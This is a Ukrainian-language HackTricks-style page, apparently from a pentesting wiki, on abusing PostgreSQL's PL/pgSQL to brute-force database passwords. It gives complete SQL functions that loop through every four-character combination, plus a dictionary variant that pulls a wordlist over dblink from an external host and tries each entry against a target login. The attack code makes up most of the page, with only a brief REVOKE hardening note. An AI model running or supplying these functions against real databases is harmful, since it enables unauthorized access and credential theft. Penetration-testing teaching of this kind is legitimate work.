110 lines
4.2 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# PL/pgSQL Password Bruteforce
{{#include ../../../banners/hacktricks-training.md}}
**Знайдіть [додаткову інформацію про ці атаки в оригінальній статті](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.
PL/pgSQL є **повнофункціональною мовою програмування**, яка виходить за межі можливостей SQL, пропонуючи **покращений процедурний контроль**. Це включає використання циклів та різних контрольних структур. Функції, створені на мові PL/pgSQL, можуть бути викликані SQL-запитами та тригерами, розширюючи обсяг операцій у середовищі бази даних.
Ви можете зловживати цією мовою, щоб попросити PostgreSQL зламати облікові дані користувачів, але вона повинна існувати в базі даних. Ви можете перевірити її існування, використовуючи:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
```
За замовчуванням, **створення функцій є привілеєм, наданим PUBLIC**, де PUBLIC відноситься до кожного користувача в цій системі бази даних. Щоб запобігти цьому, адміністратор міг би відкликати привілей USAGE з домену PUBLIC:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
У цьому випадку наш попередній запит видасть різні результати:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
Зверніть увагу, що для роботи наступного скрипта **функція `dblink` повинна існувати**. Якщо її немає, ви можете спробувати створити її за допомогою
```sql
CREATE EXTENSION dblink;
```
## Password Brute Force
Ось як ви можете виконати брутфорс пароля з 4 символів:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_Зверніть увагу, що навіть перебір 4 символів може зайняти кілька хвилин._
Ви також можете **завантажити список слів** і спробувати лише ці паролі (атака за словником):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{{#include ../../../banners/hacktricks-training.md}}